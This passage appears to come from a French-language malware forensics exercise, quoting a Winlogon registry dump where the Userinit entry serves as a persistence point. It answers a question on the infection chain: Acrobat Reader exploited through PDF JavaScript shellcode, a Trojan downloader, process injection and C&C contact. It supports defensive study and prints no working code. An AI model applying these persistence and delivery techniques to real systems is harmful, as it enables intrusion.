REG_SZ PowerdownAfterShutdown : 0 (Stable)
REG_SZ ReportBootOk : 1 (Stable)
REG_SZ Shell : [Link] (Stable)
REG_SZ ShutdownWithoutLogon : 0 (Stable)
REG_SZ System : (Stable)
REG_SZ Userinit :
C:\WINDOWS\system32\[Link],C:\WINDOWS\system32\[Link], (Stable)
REG_SZ VmApplet : rundll32 shell32,Control_RunDLL "[Link]" (Stable)
REG_DWORD SfcQuota : 4294967295 (Stable)
REG_SZ allocatecdroms : 0 (Stable)
REG_SZ allocatedasd : 0 (Stable)
REG_SZ allocatefloppies : 0 (Stable)
REG_SZ cachedlogonscount : 10 (Stable)
REG_DWORD forceunlocklogon : 0 (Stable)
REG_DWORD passwordexpirywarning : 14 (Stable)
REG_SZ scremoveoption : 0 (Stable)
REG_DWORD AllowMultipleTSSessions : 1 (Stable)
REG_EXPAND_SZ UIHost : [Link] (Stable)
REG_DWORD LogonType : 1 (Stable)
REG_SZ Background : 0 0 0 (Stable)
REG_SZ AutoAdminLogon : 0 (Stable)
REG_SZ DebugServerCommand : no (Stable)
REG_DWORD SFCDisable : 0 (Stable)
REG_SZ WinStationsDisabled : 0 (Stable)
REG_DWORD HibernationPreviouslyEnabled : 1 (Stable)
REG_DWORD ShowLogonOptions : 0 (Stable)
REG_SZ AltDefaultUserName : Administrator (Stable)
REG_SZ AltDefaultDomainName : BOB-DCADFEDC55C (Stable)
Le mécanisme de persistance des logiciels malveillants est mis en évidence en rouge / jaune ci-
dessus.
10. Quelle technique a été utilisée dans l'exploit initial pour injecter du code dans les
autres processus?
L'utilisateur s’est connecté avec le compte administrateur permettant toutes sortes de
comportements promiscieux
Le Shellcode JavaScript a été fourni au navigateur sous forme de PDF géré par Acrobat
Reader
Voir la preuve de l'interaction du noyau avec JavaScript à partir du domaine spzécifié
supra
Le code Shell réussit à exploiter la faille Acrobat Reader, un téléchargeur de chevaux
de Troie récupère le bot et l'exécute
Une fois que le bot est exécuté, il se décompresse et se déchiffre dans [Link],
met en place un mécanisme de persistance et génère un processus via [Link] ->
[Link] pour commencer à communiquer avec les serveurs C&C.